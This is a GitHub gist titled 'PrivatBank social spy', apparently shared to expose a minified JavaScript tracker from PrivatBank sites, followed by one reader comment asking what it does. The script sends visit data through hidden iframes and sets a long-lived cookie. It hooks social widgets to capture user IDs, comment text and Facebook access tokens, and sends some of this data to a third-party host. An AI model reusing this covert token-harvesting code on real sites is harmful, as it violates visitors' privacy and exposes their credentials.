Skip to content

Instantly share code, notes, and snippets.

@2j2e
Created October 18, 2016 19:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 2j2e/7e4a576c9e8536526b992f4df0654771 to your computer and use it in GitHub Desktop.
Save 2j2e/7e4a576c9e8536526b992f4df0654771 to your computer and use it in GitHub Desktop.
PrivatBank social spy
! function(e) {
function n() {
if (void 0 === e.isLoadedScriptCpVar || 1 != e.isLoadedScriptCpVar) {
var n = {};
n.startLoadFrame = (new Date).getTime();
var t = g();
if (null !== t && void 0 !== t) {
var o = t.src,
i = h(o, "quick_start");
0 != i && (n.quick_start = 1, e.isLoadedScriptCpVar = 1, a(n))
}
}
}
function t(e, n, t, o) {
if (void 0 === o && (o = window.location.href), void 0 === o) return o;
if (void 0 === e) return e;
t = t || 0;
var i = g(),
r = i.src,
s = [];
s.resource = encodeURIComponent(e), s.outclick_source = o, s.is_redirect = t, void 0 !== n && (s.banner_id = n);
var c = h(r, "sys");
null != c && (s.sys = c);
var l = h(r, "id_adm");
null != l && (s.id_adm = l), a(s)
}
function o(e) {
var n = g(),
t = n.src;
if (void 0 === e.resource) {
var o = window.location.href;
e.resource = encodeURIComponent(o)
}
void 0 === e.is_redirect && (e.is_redirect = 0);
var i = h(t, "sys");
null != i && (e.sys = i);
var a = h(t, "id_adm");
null != a && (e.id_adm = a), pa(e)
}
function i(e) {
a(e)
}
function a(e) {
function n() {
var t = window.location.href;
t !== v && (v = window.location.href, e.resource = encodeURIComponent(v), c(e), window.setTimeout(n, 7)), window.setTimeout(n, 7)
}
function t() {
if ("undefined" == typeof twttr) {
if (w > 4) return;
w++, window.setTimeout(t, 1e3)
} else twttr.ready(function(e) {
e.events.bind("loaded", function(e) {
e.widgets.forEach(function(e) {
var n = {};
n.source = v, n.seance = p, n.soc_net = "twitter", n.action = "load", n.item_id = e.id, r(n)
})
}), e.events.bind("tweet", function() {
var e = {};
e.source = v, e.seance = p, e.soc_net = "twitter", e.action = "tweet", r(e)
}), e.events.bind("follow", function(e) {
var n = {};
n.source = v, n.seance = p, n.soc_net = "twitter", n.action = "follow", n.followed_uid = e.data.user_id, n.followed_username = e.data.screen_name, r(n)
}), e.events.bind("retweet", function(e) {
var n = {};
n.source = v, n.seance = p, n.soc_net = "twitter", n.action = "follow", n.item_id = e.data.source_tweet_id, r(n)
}), e.events.bind("like", function(e) {
var n = {};
n.source = v, n.seance = p, n.soc_net = "twitter", n.action = "follow", n.item_id = e.data.tweet_id, r(n)
})
})
}
function o() {
if ("undefined" == typeof VK) {
if (f > 4) return;
f++, window.setTimeout(o, 1e3)
} else {
var e = i();
if (null !== e) {
var n = {};
n.source = v, n.seance = p, n.soc_net = "vk", n.action = "is_auth", n.uid = e, r(n)
}
VK.Observer.subscribe("widgets.like.unliked", function(n) {
var t = {};
t.source = v, t.seance = p, t.soc_net = "vk", t.action = "like", t.like_count = n, e = i(), null !== e && (t.uid = i()), r(t)
}), VK.Observer.subscribe("widgets.like.liked", function(n) {
var t = {};
t.source = v, t.seance = p, t.soc_net = "vk", t.action = "unlike", t.like_count = n, e = i(), null !== e && (t.uid = i()), r(t)
}), VK.Observer.subscribe("widgets.groups.joined", function() {
var n = {};
n.source = v, n.seance = p, n.soc_net = "vk", n.action = "join_group", e = i(), null !== e && (n.uid = i()), r(n)
}), VK.Observer.subscribe("widgets.groups.leaved", function() {
var n = {};
n.source = v, n.seance = p, n.soc_net = "vk", n.action = "leave_group", e = i(), null !== e && (n.uid = i()), r(n)
}), VK.Observer.subscribe("widgets.comments.new_comment", function(n, t, o) {
var a = {};
a.source = v, a.seance = p, a.soc_net = "vk", a.action = "comment", a.last_comment = t, a.comment_count = n, a.action_date = o, e = i(), null !== e && (a.uid = i()), r(a)
}), VK.Observer.subscribe("widgets.comments.delete_comment", function(n, t, o) {
var a = {};
a.source = v, a.seance = p, a.soc_net = "vk", a.action = "uncomment", a.last_comment = t, a.comment_count = n, a.action_date = o, e = i(), null !== e && (a.uid = i()), r(a)
}), VK.Observer.subscribe("widgets.subscribed", function() {
var n = {};
n.source = v, n.seance = p, n.soc_net = "vk", n.action = "subscribe", e = i(), null !== e && (n.uid = i()), r(n)
}), VK.Observer.subscribe("widgets.unsubscribed", function() {
var n = {};
n.source = v, n.seance = p, n.soc_net = "vk", n.action = "unsubscribe", e = i(), null !== e && (n.uid = i()), r(n)
}), VK.Observer.subscribe("widgets.like.shared", function(n) {
var t = {};
t.source = v, t.seance = p, t.soc_net = "vk", t.action = "share", t.like_count = n, e = i(), null !== e && (t.uid = i()), r(t)
}), VK.Observer.subscribe("widgets.like.unshared", function(n) {
var t = {};
t.source = v, t.seance = p, t.soc_net = "vk", t.action = "unshare", t.like_count = n, e = i(), null !== e && (t.uid = i()), r(t)
})
}
}
function i() {
var e = null;
return VK.Auth.getLoginStatus(function(n) {
null !== n && void 0 !== n.session.mid && "connected" == n.status && (e = n.session.mid)
}), e
}
function a() {
if ("undefined" == typeof FB) {
if (_ > 4) return;
_++, window.setTimeout(a, 1e3)
} else {
var e = u();
if (null !== e) {
var n = {};
n.source = v, n.seance = p, n.soc_net = "fb", n.action = "is_auth", n.access_token = e, r(n)
}
FB.Event.subscribe("auth.login", function(n) {
if (void 0 !== n.authResponse && null != n.authResponse && void 0 !== n.authResponse.accessToken) {
e = n.authResponse.accessToken;
var t = {};
t.source = v, t.seance = p, t.soc_net = "fb", t.action = "login", t.access_token = e, r(t)
}
}), FB.Event.subscribe("auth.logout", function() {
var e = {};
e.source = v, e.seance = p, e.soc_net = "fb", e.action = "logout", r(e)
}), FB.Event.subscribe("comment.create", function(n) {
var t = {};
t.source = v, t.seance = p, t.soc_net = "fb", t.action = "comment", t.item_id = n.commentID, t.sent_link = n.href, t.message = n.message, null !== e && (t.access_token = e), r(t)
}), FB.Event.subscribe("comment.remove", function(n) {
var t = {};
t.source = v, t.seance = p, t.soc_net = "fb", t.action = "uncomment", t.item_id = n.commentID, t.sent_link = n.href, null !== e && (t.access_token = e), r(t)
}), FB.Event.subscribe("edge.create", function() {
var n = {};
n.source = v, n.seance = p, n.soc_net = "fb", n.action = "like", null !== e && (n.access_token = e), r(n)
}), FB.Event.subscribe("edge.remove", function() {
var n = {};
n.source = v, n.seance = p, n.soc_net = "fb", n.action = "unlike", null !== e && (n.access_token = e), r(n)
}), FB.Event.subscribe("message.send", function(n) {
var t = {};
t.source = v, t.seance = p, t.soc_net = "fb", t.action = "send_msg", t.sent_link = n, null !== e && (t.access_token = e), r(t)
})
}
}
function u() {
var e = null;
return FB.getLoginStatus(function(n) {
void 0 !== n.authResponse && null != n.authResponse && void 0 !== n.authResponse.accessToken && (e = n.authResponse.accessToken)
}), e
}
var p = void 0,
v = void 0,
_ = 0,
f = 0,
w = 0,
T = g();
if (null === T) return 0;
var B = T.src,
C = l("pa"),
k = document.referrer;
ref = "" != k ? new URL(document.referrer).hostname : "", p = null;
var S = 1;
if (null == C) p = s();
else {
var b = C.split("+", 2);
p = b[0], 2 == b.length && (S = b[1]);
var y = location.host;
ref != y ? (p = s(), S = 1) : S = 1 * S + 1
}
d(p + "+" + S, "pa"), void 0 === e && (e = {}), void 0 === e.quick_start && (e.quick_start = 0), e.visit_id = m(), e.seance = p, e.visit_num = S, "" != k && (k = encodeURIComponent(k), e.transition = k);
var M = h(B, "cookie_parameter");
null != M && (e.cookie_parameter = M);
var I = h(B, "sys");
null != I && (e.sys = I);
var R = h(B, "id_adm");
null != R && (e.id_adm = R);
var E = h(B, "id");
null != E && (e.id = E);
var U = h(B, "banner_id");
null != U && (e.banner_id = U);
var N = h(B, "agent_id");
null != N && (e.agent_id = N), void 0 !== window.performance.navigation.redirectCount && (e.redirect_count = window.performance.navigation.redirectCount), void 0 !== window.performance.navigation.type && (e.navigation_type = window.performance.navigation.type), void 0 !== window.performance.timing.navigationStart && (e.navigation_start_datetime = Math.round(window.performance.timing.navigationStart / 1e3)), void 0 === v && (v = h(B, "resource")), null != v ? e.resource = encodeURIComponent(v) : v = window.location.href, (-1 !== v.indexOf("//privatmarket.ua") || -1 !== v.indexOf("//privat24.privatbank.ua")) && (e.resource = encodeURIComponent(v)), c(e), ("https://bonus.privatbank.ua/ua/" === v || -1 !== v.indexOf("bigdata.privatbank.ua") || -1 !== v.indexOf("10.1.96.22")) && (window.setTimeout(a, 1e3), window.setTimeout(t, 1e3), window.setTimeout(o, 1e3)), (v.indexOf("://salemarket.com.ua") || v.indexOf("://10.1.96.22")) && n()
}
function r(e) {
var n = g(),
t = n.src,
o = t.split("public/js/cp.js"),
i = o[0] + "src/manager/NewHandler.php";
e.visit_id = m();
var a = "data=" + encodeURIComponent(JSON.stringify(e)),
r = new XMLHttpRequest;
r.open("POST", i, !0), r.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), r.send(a)
}
function s() {
var e = +new Date + Math.random();
return e = "" + e, e += Math.random() + location.host, e += Math.random(), e = e.substr(0, 100)
}
function c(e) {
function n(e, n) {
if (void 0 !== n) {
var t = (new Date).getTime(),
o = t - n;
e = e + "&load_time=" + o
}
var i = document.createElement("iframe");
i.src = e, i.style = "width: 0; height: 0; visibility:hidden";
var a = document.createElement("noscript");
a.appendChild(i);
var r = document.getElementsByTagName("script")[0];
r.parentNode.insertBefore(a, r)
}
var t = g(),
o = t.src,
i = o.split("public/js/cp.js"),
a = i[0] + "handler.html",
r = [];
for (var s in e) r.push(s + "=" + e[s]);
r.length > 0 && (a = a + "?" + r.join("&"));
var c = void 0;
void 0 !== e.startLoadFrame && (c = e.startLoadFrame), n(a, c), ("https://privatbank.ua/ru/" == window.location.href || -1 !== window.location.href.indexOf("://privat24.privatbank.ua/p24/news?hash") || "http://10.1.96.22/cp/src/test/web/New_iframe_tes.html" == window.location.href) && (a = "https://ismatlab.com/cp/handler.html", r.length > 0 && (a = a + "?" + r.join("&")), n(a, c))
}
function l(e) {
for (var n = null, t = document.cookie.split("; "), o = 0; o < t.length; o++) {
var i = t[o].split("=");
if (i[0] == e && i.length >= 2) {
n = i[1];
for (var a = 2; a < i.length; a++) n = n + "=" + i[a];
break
}
}
return n
}
function d(e, n) {
u(n);
var t = new Date;
t.setDate(t.getDate() + 6e5), document.cookie = n + "=" + e + "; expires=" + t.toUTCString() + "; path=/"
}
function u(e) {
var n = new Date;
n.setDate(n.getDate() - 600), document.cookie = e + "=; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/"
}
function m() {
var e = g();
return null === e ? !1 : ("" == e.title && (e.title = p()), e.title)
}
function p() {
var e = +new Date + Math.random();
return e += Math.random() + location.href.substr(0, 70), e += Math.random(), e = encodeURIComponent(e.substr(0, 150))
}
function g() {
for (var e = document.getElementsByClassName("cp_analytics"), n = e.length, t = 0; n > t;) {
if (-1 !== e[t].src.indexOf("cp.js")) return e[t];
t++
}
var o = document.getElementById("privat_analytics");
return null === o || void 0 === o ? null : o
}
function h(e, n) {
var t = null,
o = e.split("?", 2);
if (2 == o.length)
for (var i = o[1].split("&"), a = 0; a < i.length; a++) {
var r = i[a].split("=");
if (r[0] == n && r.length >= 2) {
t = r[1];
for (var s = 2; s < r.length; s++) t = t + "=" + r[s];
break
}
}
return t
}
void 0 === e.isLoadedScriptCpVar && (e.isLoadedScriptCpVar = 0), "function" != typeof e.pa && (e.pa = a), "function" != typeof e._pa && (e._pa = a), "function" != typeof e.socauth_outclick && (e.socauth_outclick = t), "function" != typeof e.cp_outclick && (e.cp_outclick = o), "function" != typeof e.cp_action && (e.cp_action = i), n()
}(window);
@Diagnoz
Copy link

Diagnoz commented Jul 24, 2018

Hello.
Eugene Zharkov, tell me, what is this your script implementing? I'm not good at javascript programming, but I'd love to know. And especially interesting is the line where the ad delivery address is, namely https://ismatlab.com/cp/handler.html. Thanks you.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment